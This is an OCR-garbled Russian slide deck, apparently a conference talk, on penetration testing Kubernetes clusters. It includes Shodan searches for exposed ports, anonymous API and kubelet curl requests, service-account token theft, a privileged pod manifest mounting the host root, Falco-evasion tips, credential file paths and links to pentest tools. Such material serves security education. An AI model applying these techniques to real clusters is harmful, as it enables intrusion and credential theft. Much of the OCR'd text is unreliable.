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| Agenda

. WTF Kubernetes???
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.- Ha Node
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Incknenmep!

IlaHHbIN aoKNnag ckopee AaBnAeTcd poagManoMm, a He NMoJIHOU UHCTPYKLMen
no neHTecTty Kubernetes. YMecTUTb HEKOTOPbIE MOMEHTbI B Npefesiax
OJHOro goknaga He npeacraBndaeTcd BO3MOXHbIM, TaK XXe KaK U paccKkasaTb
O BCeX BO3MOXXHbIX TEXHUKAX U HIO@HCax C KOTOPbIMU MOXHO CTOJIKHYTbCS
npu neHTecte Kubernetes knactepa.
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| ApxuTekTypa

Master Node

/ v

ﬁ% —t API

Server
Developer

Key Value Store - etcd \

— EEE

-— Controllers

— I

= Control plane

#w Data plane

Runtime
(Docker)

Container

Optional Add-Ons
(DNS, UL...)

~

\_

/.v
.

Container

Runtime
(Docker)

Network Proxy
(kube-proxy)

A

Optional Add-Ons (DNS,
ul...) J

Network Proxy
(kube-proxy) )

Worker Node

Worker Node

L

Users
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| Pod == container (Hy nouTtn)

e MuHuMManbHasa ncnonHAemas eamHuLa B KNnacTtepe

13



Persistence Privilege Defense Credential
Initial Access Escalation Evasion Access

Using Cloud Exec into Backdoor Privileged Clear container

credentials container container container logs SELE s

Compromised  bash/cmd inside Writable hostPath ~ Cluster-admin Mount service

Delete K8S events

images in registry container mount binding principal

Kubernetes hostPath mount

Kubeconfig file New container b :
CronJob name similarity ~ service account

Malicious Applications
5 Access cloud Connect from RLjcation
admission credentials in

resources Proxy server
controller

Application  Application exploit
vulnerability (RCE)

Access
managed
identity
credential

SSH server
running inside
container

Exposed Sidecar Malicious
sensitive injection admission
interfaces controller

= New technique

- = Deprecated technique

Pod / container Access container

configuration files

Lateral

Drscomery Movement

Access the K8S Access cloud
API server resources

Access Kubelet Container service
API account

Cluster internal

Network mapping networking

Applications
credentials in
configuration files

Access Kubernetes
dashboard

Writable volume
Instance Metadata L

i host

CoreDNS
poisoning

ARP poisoning
and IP spoofing

Collection

Images from a
private registry

| Threat matrix gna Kubernetes ot Microsoft

Data Destruction

Resource
Hijacking

Denial of service
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https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/

| Defense-in-depth .

Authentication Authorization Audit Log

Code Images k8s resources Webhook Webhook Admission controllers Webhook Container/Sandbox/VM Observability
SAST Immutable Lahels; 3 RBAC RBAC LimitRanger Isolation Sl
annotations management
DAST laC IAM ResourceQuota Rootle§§ -contalners, Secgrlty.
Capabilities monitoring
C IAST Secunbras PodSecurityPolicy sec.comp,-AppArm(.)r, B plfcat.lon
-_5 Code Selinux, distroless images monitoring
O
2 Compliance as Anomaly
E RASP b dep ImagePolicyWebhook Limiting the blast radius detection
©
@
= Configuration Segregation of duties
F  sca check NetworkPolicy (Secrets, Event resource

ServiceAccounts token)
PodSecurityPolicy

MutatingAdmissionWebhook

Init containers + sidecars containers .
injection

ValidatingAdmissionWebhook
Custom Resource + operator (policy

- engines
+ Multi-tenancy* )
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https://habr.com/ru/company/oleg-bunin/blog/646111/

| 06x0p, CMrHaTYPHbIX CPeACTB 3aLUTbI

YacTo B Knactepe, NOMMMO BCTPOEHHbIX CPpeAicTB 6€30MacHOCTU, MOTYT 6bITb U

CTOPOHHMeE, 6a3unpyroLLIMeca Ha cUrHaTypHbIX noaxogax. Hanpumep — Falco, Tracee

N3-3a cBOE 0COBEHHOCTH, OBOJIbHO KPUTUYECKME NpaBuia Nerko O6XO@A<}H

Bypassing Falco: How to
Compromise a Cluster
without Tripping the SOC

Shay Berkovich, BlackBerry
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https://static.sched.com/hosted_files/kccnceu2022/58/BypassingFalco.pdf
https://www.youtube.com/watch?v=2rSiSpaR6bI&list=WL&index=40&ab_channel=CNCF%5BCloudNativeComputingFoundation%5D
https://github.com/blackberry/Falco-bypasses
https://hub.docker.com/r/sshayb/fuber

| O6x0p cUrHaTypHbIX CpeACTB 3aluTbl: runtime

- list: shell binaries items: [ash, bash, csh, ksh, sh, tcsh, z;h, dash]

condition: > g

rule: Run shell untrusted / <:
spawned_process and shell binaries and proc.pname exists .. \\

\\

[TpoknabiBaem shell nog opyrum nmeHem, HanpumMmep — envoy, haproxy

17



| O6x0p curHaTypHbIX cpeacTB 3awuTbl: Policy
Engine

i

e Masno nmMeTb CpenCTBO 3aLLMTbl — UM HY)XKHO YMETb NOJIb30BaTbCA U I'Ip,é/B bHO
|
HacTpauBaTb = Z?

e [lpumep — 3anpeT Ha NPoO6POC BHYTPb KOHTENHEpPA /var/run/docker‘.so\ck'
e [lo ¢pakTy ucnonbsyerca — /var/run/crio/crio.sock

e O6bxogutcs vepes -/, /var/, /var/run/, /var/run/crio/ ...

18
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| MuckoHnduru

e Topuallme Hapy>XXy NopTbl KOMMNOHEeHTOB Kubernetes

SHODAN

Explore

Explore

Downloads

Downloads

Pricing &£

Pricing &

ssl:true port: 10250 404

etcd port: 2379

Port

443/TCP

2379/TCP

6666/TCP

4194/TCP

6443/TCP

8443/TCP

8080/TCP

10250/TCP

10255/TCP

10256/TCP

9099/TCP

6782-4/TCP

30000-32767/TCP

44134/TCP

Process
kube-apiserver
etcd

etcd

cAdvisor
kube-apiserver
kube-apiserver

kube-apiserver

kubelet

kubelet

kube-proxy

calico-felix
weave
NodePort

Tiller

Description

Kubernetes API port

eted

Container metrics
Kubernetes API port
Minikube API port
Insecure API port

HTTPS API which allows full
mode access

Unauthenticated read-only
HTTP port: pods, running
pods and node state

Kube Proxy health check
server

Health check server for Calico
Metrics and endpoints
Proxy to the services

Helm service listening

20



MuckoHpurn

e kube-apiserver Anonymous Access

o curl -k https://host:443/api/v1/pods

ubuntu@ip-16-6-1-237:-§ curl -k https:// (N 2pi/v1/pods/ J] lbuntutip-16-0-1-237: -8 curl —k nttps:// (N 2pi/vi/nodes/

{
i "kind": "PodList", "kind": "NodeList",
"apiVersion": "vi", "apiVersion": "vi",
"metadata”: { 'metadat§': {
"selfLink": "/api/vi/pods/", "selfLink": “{api/vl/nodes/“,
"resourceVersion": "13312617" "resourceVersion": "13314390"
= 3
"items": [ "1:ems". [
: "metadata": { "metadata": {
"name": "dns-controller-c4dc48d8d-ztkfr", "name": "ip-172-20-43-240.us-west-2.compute.internal”,
"generateName": "dns-controller-c4dc48d8d-", "selfLink": "/api/vl/nodes/ip-172-20-43-240.us-west-2.comp

"uid": "1b8f0@e34-996a-4b98-916e-f027eldles32",

"namespace”: "kube-system"
. y : "resourceVersion": "13313782",

"selfLink": "/api/vl/namespaces/kube-system/pods/dns-con

"uid®: "4e19fdd9-eB808-406b-a952-a3731bdc38fb" g “creationTimestamp" : "2020-12-03T720:35:12Z",
"resourceVersion": "5124025", lgbels i { : . .
"creationTimestamp": "2020-11-30T23:24:552", DAL SABTOPTIS « 10/ WIS - :

" " "beta.kubernetes.io/instance-type": "t3.medium",

21



| MuckoHdurm

e Kubelet Anonymous Access

o curl -k https://host:10250/pods

ubuntu@ip-10-8-1-237:-$ curl -k https:/ | 16250/ pods

{"kind":"PodList", "apiVersion":"v1l", "metadata”:{},"items":[{"metadata":{"name": "kube
proxy-ip-172-20-43-240.us-west-2.compute.internal®, "namespace": "kube-system", "selfL
ink":"/api/vl/namespaces/kube-system/pods/kube-proxy-ip-172-20-43-240.us-west-2.comp
ute.internal”, "uid":"6d169579e6ddd186fac1e99c7ccb1283", "creationTimestamp”:null, "lab
els":{"k8s-app":"kube-proxy","tier":"node"}, "annotations":{"kubernetes.io/config.has
h":"6d169579e6ddd186fac1e99c7ccb1283", "kubernetes.io/config.seen": "2021-01-04T17:10:
58.056118604Z" , "kubernetes.io/config.source":"file", "scheduler.alpha.kubernetes.io/c
ritical-pod":""}},"spec":{"volumes":[{"name":"logfile", "hostPath":{"path":"/var/log/
kube-proxy.log", "type":""}},{"name": "kubeconfig", "hostPath":{"path":"/var/lib/kube-p
roxy/kubeconfig", "type":""}},{"name": "modules”, "hostPath":{"path":"/lib/modules", "ty
e":""}},{"name": "ssl-certs-hosts", "hostPath":{"path":"/usr/share/ca-certificates","
type":""}},{"name": "etchosts", "hostPath":{"path":"/etc/hosts", "type":""}},{"name": "i
ptableslock”, "hostPath":{"path":"/run/xtables.lock", "type":"FileOrCreate"}}], "contai
ners":[{"name": "kube-proxy", "image":"k8s.gcr.io/kube-proxy:v1.18.10", "command":["/us
r/local/bin/kube-proxy"], "args":["-—cluster-cidr=100.96.0.8/11", "——conntrack-max-per

ubuntu@ip-10-8-1-237:~$ curl -k https://_:lozsollogs/
<pre>

<a href="alternatives.log">alternatives.log</a>

<a href="alternatives.log.l1l">alternatives.log.1</a>

<a href="amazon/">amazon/</a>

<a href="apt/">apt/</a>

<a href="auth.log">auth.log</a>

<a href="auth.log.1">auth.log.1</a>

<a href="auth.log.2.gz">auth.log.2.gz</a>

<a href="auth.log.3.gz">auth.log.3.gz</a>

<a href="auth.log.4.gz">auth.log.4.gz</a>

<a href="btmp">btmp</a>

<a href="btmp.1">btmp.1</a>

<a href="cloud-init-output.log">cloud-init-output.log</a>
<a href="cloud-init.log">cloud-init.log</a>

22



| MuckoHdurm

e OTKpbITble dashboards

O Weave Scope (4040), Kubernetes Dashboard .(8443), Prometheus (9090)...

How Attackers Use Exposed
Prometheus Server to Exploit

Kubernetes Clusters

Miguel Hernandez & David de Torres, Sysdig

23


https://www.youtube.com/watch?v=5cbbm_L6n7w&ab_channel=CNCF%5BCloudNativeComputingFoundation%5D

BHyTpu Pod




| ENV -

* Yepes nepeMeHHble OKPYXXEHMNA MOXHO NOHATb KyAa Mbl rnonanu
- B ENV yacTo ykasbiBaloT agpeca gpyrmx cepBmcoB
- TaM e MOXXHO HanUTK Kpeabl OT 06/1a4HbIX NPOBanaepoB

A Tak)Xe CeKpeTbl, IOrMHbl U NApPosIN OT APYrMX CEPBUCOB, U APYTyHO YYBCTBUTEbHYHO

NHpopMaLunto ' .
SOL_USER= KUBERNETES_PORT=tcp://10.96.0.1:443
SOL_ENGINE=django.db.backends.postgresqgl KUBERNETES_SERVICE_PORT=443
cloud_name= SHIPPINGSERVICE_PORT_56051_TCP_PORT=50051
AWS_STORAGE _BUCKET _NAME= DISABLE_DEBUGGER=1
PWD=/usr/src/app SHIPPINGSERVICE_PORT_56051_TCP_PROTO=tcp
DATABASE= PAYMENTSERVICE_PORT=tcp://16.105.96.229:50051

SOL_HOST= PAYMENTSERVICE_PORT_56051_TCP_PORT=50051

25



| daitnoBas cuctema KoHTelHepa

sana@sana-HP-ProBook-4530s:~$ tree -s

*  McxoAHbIN KOA, NPUOXEHUS

— [ 4096] Desktop
— E__ 4096] Documents
[ 2379] MumbleAutomaticCertificateBackup.pi2
— [ 4096] Downloads
° KOHCI)VIFVI C 4HyBCTBUTEJIbHbIMU lJAHHbIM — I 13094]  dummy.pdf
— [ 9885] edited dummy.pdf
— [ 1048237] edit pdf.docx
— [ 4096] TouchpadIndicator-master
o anMayHL‘IeHHbIe ﬂ,MpeKTOpMVl — [ 3926] convenience.js
— [ 18092] COPYING
. — [ 36058] extension.js
— [ 4096] icons
O Contalner SOCket — [ 1415] input-touchpad-symbolic.svg
— [ 4592] my-touchpad-disabled-dark.svg
o — [ 4879] my-touchpad-normal-dark.svg
O KOpHeBOM KaTanor = [ 1460] touchpad-disabled-symbolic.svg
— [ 18429] 1lib.js
— [ 4096] locale
5 — L 4096] de
o BosmoxxHoCTb cosfgaHua StaticPod L e
e.po
[ 9715] touchpad-indicator@orangeshirt.mo
— E__ 4096] es
4096] LC_MESSAGES
%:: [ 11265] es.po
[ 9311] touchpad-indicator@orangeshirt.mo
— L 4096] fr
L r Amas] I MECCCArECC




| Service Account

e [1nsa kaxporo Pod cywecTtByeT Service
Account, KOTopbiu onpepenaeTr
BO3MOXXHOCTM Pod B Kiactepe

e /run/secrets/kubernetes.io/serv
iceaccount

e /var/run/secrets/kubernetes.io/
serviceaccount

e /secrets/kubernetes.io/servicea

ccount

PAYLOAD:

SHARE JWT

27



| Service Account

« kubectl auth can--i --1list

antitree@webadmin-74bb488d96—7dbxb:/usr/src/abbs ./kubectl auth can-i --list

Resources

* . %
selfsubjectaccessreviews.authorization.k8s.io
selfsubjectrulesreviews.authorization.k8s.io

Non-Resource URLs

[]
[]
[]

[/.well-known/openid-configuration]
[/api/*]

[/api]

[/apis/x]

[/apis]

[ /healthz]

[ /healthz]
[/1livez]

[/1ivez]

[ /openapi/*]

[ /openapil]

[ /openid/v1/jwks]
[/readyz]
[/readyz]
[/version/]
[/version/]
[/version]

[/version]

source Names

Re
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]
[]

Verbs
[*]
[create]
[create]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]

28



| OnacHble npaBa

@ **x%

® impersonate
e escalate
® nodes/proxy

e pods/portforward

apiVersion:
rbac.authorization.k8s.io/v1
kind: ClusterRole '
metadata:

name: nodeproxy
rules:

- apiGroups:

resources:

- nodes/proxy
verbs:

- get

- Create

29



| Kubernetes Network 101

Y Bcex Pods ectb IP

Namespace Namespace
@_ Frontend Backend 0
 Service ansa load-balancing ooy

Kubernetes Backend

* DNS pgns service-discovery

* DNS tunneling

- 1nsi orpaHUuYeHne CETEBOro @_.@

B3aMMOAeNCTBUA NCTMONb3YHOTCS ronten — @

Network Policy

Backend

30



| hostNetwork gotcha!

Kubernetes 3anyckaeTt Pods B cBoel CO6CTBEHHON N30IMPOBAHHOM CETU, O4HAKO

MOXXHO CA€J1aTb Tak, YTOObI OHU pa60TanM B XOCTOBOW CE€TU, TEM CaMbIM OOOUTHU . _ )

Network Policy. [1na aTtoro B MaHu@ecTe HYy>XHO yKasaTb:

apiVersion: vl
kind: Pod

metadata: Pod’s own network Node's default network
namespace

name. nginx namespace
spec:
hostNetwork: true
containers:
- hame: nginx Pod B
. : hostNetwork: tCrue
image: nginx

31



| Bsaumopencrteue ¢ kube-api

e YepescraHgapTHbin CLI — kubectl

O Ecnn noBe3éT — MOXET ObITb B KOHTENHEPE, HO MOXKHO 3aTalluTb U3BHE

O curl -LO https://storage.gobgleapis.com/kubernetes-release/release/‘curl -S

https://storage.googleapis.com/kubernetes-release/release/stable.txt /bin/linux/amd64/kubectl

e Yepescurl

O kube-apiserver— 310 06bI4HbIN HTTP cepBep

KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" \

e CpencTBaMu KOMaHAHOI 060104ku bash ( )

o /dev/tcp, /dev/udp

32


https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/default/pods/$HOSTNAME
http://rus-linux.net/MyLDP/consol/tcp-udp-socket-bash-shell.html

| DNS diScovery

e dig +short srv any.any.svc.cluster.local

Namespace

nginx-netshoot-7f9c6957f8-Shrxp g dig +short srv any.any.sve.cluster.local

@ 2 5608 webadmin.default.svc.cluster.local.

8@ 2 6379 redis-replica.kB8s-workshop.svc.cluster.local.
@ 2 3306 mysgl.wordpress-mysql.svc.cluster.local.

@ 2 9187 pg-exporter.monitoring.svc.cluster.local.
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| Mo6er n3 KoHTelHepa

e Hepe3 KOHTGMHep, yﬂ,O6HbIV1 and r|o6era:
O /var/run/secrets/kubernetes.io/serviceaccount/token

e Bad Pods
O CAP_SYS_ADMIN

e Yepes container runtime ya3BUMMOCTMH:
o CVE-2022-23648

e Yepes kernel yasBumocTu:
o CVE-2022-0185

e Yepes yasBumocTu Kybepa:
o CVE-2018-1002105

Dmitriy Evdokimov
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https://2021.zeronights.ru/wp-content/uploads/2021/09/zn2021_container_escapes_kubernetes_edition_v4.pdf

| Bad Pods

spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh",; "-c", "--" ]
» args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot

hostPath:
path: /

privileged

capabilities

sharing namespace

NCMoJib3ys, MPUMayHYEHHbIE AUPEKTOPUN
O YYBCTBUTEJIbHbIE AUPEKTOPUN
o container runtime socket

38



| Container Escape == Cluster Admin

B 50% cny4aeB, no6er 3 KoHTeMHepa NpuBeaET K NOJIHOWM KOMMNPOMETaLUnmn Knacrtepa
Ha Node, TOMMMO KOHTENHEPOB, BbINOSTHAKOLWMX BU3HEC-TTOTNKY, ECTb U CUCTEMHDbIE,
pacwupsowme GyHKUNoHanbHoCcTb Knactepa — CNI, ServiceMeshunt.n.

/
YacTo, OHN UMEIOT JO0BOJIbHO MOLLHbIE MPUBUIETUN: ( <

o Ckeaynum cilium-operator Ha noAKOHTpPoNbHYHO Node \
o [lony4yaem MouHbIN Service Account token oT cilium-operator
o [MpoBoanMm ackanauuto npas, 406aBUB cebe NoJIHble NpaBa

) ; 7 po.

biSek hat % paloalto

ISA 2822

EEEEEEEEE

Kubernetes Privilege Escalation:
Container Escape == Cluster Admin?

Yuval Avrahami & Shaul Ben Hai, Palo Alto Networks

39


https://i.blackhat.com/USA-22/Thursday/US-22-Avrahami-Kubernetes-Privilege-Escalation-Container-Escape-Cluster-Admin.pdf

Ha Node




| NMonHbI gocTyn K daitnosoit cucteme Node

systemd+
systemd+
root
message+
root
root
root
root
syslog
root
root
daemon
root
root
root
root
_rpc
root
root
root
65535
root
65535

DO DNOD DD DD DD DD D
D ODNOINOD000 0 -0 -0 003

D00 =000 D

23896 18968
968228 4932
238148 7288
7564 4696
81928 3620
31612 17912
9412 28880
6848 4388
224352 4756
16828 6544
392556 11688
3792 2076
8428 1848
118568 28724
232716 6764
12176 6724
7184 3628
1948608 79952 7
2488 524 7
1141808 10884 7
964 4 7
1141868 18984 7
964 4 7

B R R BRI e B IS R S RS TS TES ES I R B |

S8
Ssl
Ssl
S8
Ssl
Ss
Ss
S5
Ssl
Ss
Ssl
Ss
Ss+
Ssl
Ssl
Ss
Ss
Ssl

51
Ss
51
S8

Sep@s
Sep@5
SepB5
Sep@s
Sep@5
SepB5
Sep@s
Sep@5
SepB5
Sep@s
SepBs
SepB5
Sep@s
SepB5
SepB5
SepB5
SepB5
Sep@5
SepB5
Sep@s
Sep@5
SepB5
Sepds

E-N
D =-0WD - 000000 WD D00=3233

-

/1ib/systemd/systemd-resolved

/1lib/systemd/systemd-timesyncd

fusr/libfaccountsservice/accounts-daemon

fusr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
fusr/sbin/irgbalance --foreground

fusr/bin/python3 /usr/bin/networkd-dispatcher =--run-startup-triggers

fusr/sbinferon -f

fusr/sbin/gemu-ga

fusr/sbin/rsyslogd -n -iNONE

f1ib/systemd/systemd-logind

fusr/lib/udisks2/udisksd

fusr/sbinfatd -f

/sbin/agetty -o -p -- \u --noclear ttyl linux

fusr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
fusr/lib/policykit-1/polkitd --no-debug

sshd: fusr/sbinfsshd -D [listener] @ of 18-18@ startups

/sbin/rpcbind -f -w

fusr/bin/containerd

bpfilter_umh

fusr/bin/containerd-shim-runc-v2 -namespace kBs.io -id 7a@3feb9dfe539749e89b128787f54ddf7a7a2817484dc6808528ab7a32538083 -address /run/containerd/containerd.sock
/pause

fusr/bin/containerd-shim-runc-v2 -namespace k8s.io -id bf56adcBa?bbbad7881812c87679ccB575af9c79819c595TBcTB246246675eb9 -address /run/containerd/containerd.sock
fpause
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| KoHdwuru, knoum n ceptudukartbl

$HOME/ . kube/config

/etc/kubernetes/bootstrap-kubelet.conf /
/etc/kubernetes/manifests/etcd.yaml /
/etc/kubernetes/pki | j

O O O O
\\

kubectl -kubeconfig $HOME/.kube/config get po

KUBECONFIG=<filename> kubectl config set-cluster default-cluster --server=https://<host ip>:6443
--certificate-authority <path-to-kubernetes-ca> --embed-certs

KUBECONFIG=<filename> kubectl config set-credentials <credential-name> --client-key <path-to-key>.pem -

--client-certificate <path-to-cert>.pem --embed-certs

KUBECONFIG=<filename> kubectl config set-context default-system
--cluster default-cluster --user <credential-name>

KUBECONFIG=<filename> kubectl config use-context default-system

42



| Container runtime socket

e MOXXHO 06WaTbCA C COKETOM HaMNpsiMyto
O unix:///var/run/crio/crio.sock
O wunix:///var/run/containerd/containerd.sock Vo
O unix:///var/run/docker.sock .\ (i
\

e YHuBepcanbHbIK MHCTPYMEHT crictl o
o curl -sL https://github.com/kubernetes-sigs/cri- |
tools/releases/download/v1.25.0/crictl-v1.25.0-1inux-amd64.tar.gz |

tar zxf -
o B0O3MOXHOCTb co3jaBaTb KOHTENHEPDI, aTTAYNTbCS K HUM, CMOTPETD JI0rn, CMUCOK

3anyLeHHbIX KOHTENHEPOB U MHOIoe Apyroe
o crictl exec -i -t example pod bash
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| crictl

crictl ps

CONTAINER ID IMAGE
1f73f2d81bf98 busybox@sha256:141c253bc4c3fd0a201d32dc1f493bcf3fff@03b6df416deadf41046e0137

87d3992184f74 nginx@sha256:d0a8828cccb73397acb@073bf34f4d7d8aa315263f1e7806bT8c55d8ac139d5
1941fb4dal54f k8s—gcrio.azureedge.net/hyperkube-amd64@sha256:00d814b1f7763f4ab5be80c58e981

crictl logs 87d3992f84f74

10.240.0.96 - - [06/Jun/2018:02:45:49 +0Q000] "GET / HTTP/1.1" 200 612 "-" '"curl/7.47.0" "-"

10.240.0.96 - — [06/Jun/2018:02:45:50 +0000] "GET / HTTP/1.1" 200 612 "-" '"curl/7.47.0" "-"
10.240.0.96 - - [06/Jun/2018:02:45:51 +@000] "GET / HTTP/1.1" 200 612 "-" '"curl/7.47.0" "-"
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| NocTyn K kubelet

e lcnonb3ysa gaHHble KOHPUrK, MOXXHO B3aMMoaencTBoBaTh ¢ Pod u p,perMM pecypcamy,
HaxoadAwmnmmcsa Ha Node, Ha KOTOpYHO Bbl coexkanu

/
e kubectl -kubeconfig /etc/kubernetes/kubelet.conf get po —_A_( <

e [lonesHble nyTu:

/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
/etc/kubernetes/kubelet.conf
/etc/kubernetes/admin.conf
/etc/kubernetes/cantroller-manager.conf
/etc/kubernetes/scheduler.conf

O O O O O O O O O
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| StaticPod

- B Kubernetes ectb BO3MOXHOCTb co3aiaBaTb Pod B 06xo kube-apiserver

- 3TO NoO3BONISET 06XOANTb BCTPOEHHbIE cpeAcTBa 6€30MacHOCTH Kuberne;ge’s, TaKkue Kak
Audit Log n Admissions controllers | (

- [lomMelaemM Hy>XHbIM HaM MaHudecT Pod no nyTu /etc/kuber‘netes/man\j\fests, nmeo

MaHUGhECT MOXHO Pa3MeCTUTb Ha yaanéHHOM CepBepe
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| Road to the Master Node '

e B 60nbLIMHCTBE KNacTepax Henb3s 3anyckaTb KOHTeNnHepbl Ha Master Node
o Ha Master Node xpaHsaTca Service Account, Kno4ynm n ceptTudukaTtbl, bnarogaps
KOTOpPbIM Mbl MOXeM cTaTb cluster-admin .
e B Kubernetes cyuiectByet mexaHusm Taints & Toleraitions, KOTopbIn He péslgonﬂeT
3anyctutb Pod Ha Master Node ,f‘" <
\

o Ero MoxHo o6ontu =) |
O spec:
tolerations:
- key: ""
operator: "Exists"

effect: "NoSchedule™
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| Pentest Tynbi

. — MOLLHbIN MHCTPYMEHT ANl NeHTecTepoB OoT Aqua Security

- — BbIiBNIeHMEe MUCKOHGUroB knactepa, RBAC, ckaH o6pa30|3_

. — Tyn3a oN1s pasBenKu oKpy>XeHus

: — KaCTOMHbIN KNUEeHT Ansa ooweHunsa ¢ kubelet

: — MyNbTU-KOM6aKWH TyN3a AN neHTecTa Knacrtepa, B TOM yucne usHytpu Pod
: — NEHTEeCT TyN3a Ans nobera ns KOHTENHepa

Krew plugins -
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https://github.com/aquasecurity/kube-hunter
https://github.com/armosec/kubescape
https://github.com/quarkslab/kdigger
https://github.com/cyberark/kubeletctl
https://github.com/inguardians/peirates
https://github.com/brompwnie/botb
https://github.com/corneliusweig/rakkess
https://github.com/d-kuro/kubectl-fuzzy
https://github.com/controlplaneio/kubectl-kubesec
https://github.com/kvaps/kubectl-node-shell
https://github.com/postfinance/kubectl-sudo
https://github.com/aquasecurity/kubectl-who-can

| Privilege escalation

KoHTenHep — BCE eLlé Linux

V|CI'IOJ'Ib3yeM N3BECTHblIE TEXHUKW MOBbILLEHUS I'IpMBMJ'IGFVIVI

. — CKpUNT ANs NoAHATUA npuBuaernin B Unix okpy>KeHusx

* — Tyn3a g4 BbigdBJieHUA NOoTeHUManbHbIX yFl3BI/1MOCTel71 U MMCKOHCI)VIpraLI,MIZ,

KOTOpble MOTYT NMpnBeCTU K NOBbILLIEHUIO I'IpMBMJ'IGFMVI
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https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/rebootuser/LinEnum
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/liamg/traitor

| Yao6Hble 06pa3bl

YT06bI HE TalLNTb BECb apCeHaN MOXHO UCMNOJIb30BaTb Y)Ke roToBble 06pa3bl C
HY>XHbIMW MHCTPYMEHTaMW N caenaTb CBOW =)

ditleaks Proxychains-ng
po Stenum docker—bench—securitypsql
wget  ZMaAP mysql-clientrockyou.txt
kubectl-who-can

1
etcdctl helrgpenss
curl truffleHog scapy
. Amass
python git

htop Coreutﬂs docker unzip kubectl
awscli N1 (tO Linux Exploit Suggester
testssl.sh kllbe_bench

whois audit2rbac unix-privesc-check

. .. e Netcat MAsscan

o1


https://github.com/madhuakula/hacker-container
https://github.com/nicolaka/netshoot
https://github.com/antitree/cmd_and_kubectl_demos/tree/master/images/botty

| Mone3Hble CCbIIKK

* Kubernetes Pentest M'ethodology:
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https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Kubernetes
https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes
https://2021.zeronights.ru/wp-content/uploads/2021/09/zn2021_container_escapes_kubernetes_edition_v4.pdf
https://github.com/BishopFox/badPods
https://github.com/madhuakula/kubernetes-goat
https://github.com/quarkslab/minik8s-ctf
https://t.me/k8security

| 3aknoyeHue ‘

[lna 6onee ycnewHoro neHTecta HeE06XoANMMO NOSTHOE NOHMMaHne paboTbl Kak CPEeACTB

3almnTbl, Tak U camoro Kubernetes

BO3MOXHbI pa3/iniyHble MO EJIN HapyLUNTENs

* Llupokunin attack surface

YunTtbea, y4nThbCAa U eLle pas...
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Cnacu6o 3a BHUMaHue!

Telegram: @rObinak

(LuNTRY

luntry.ru
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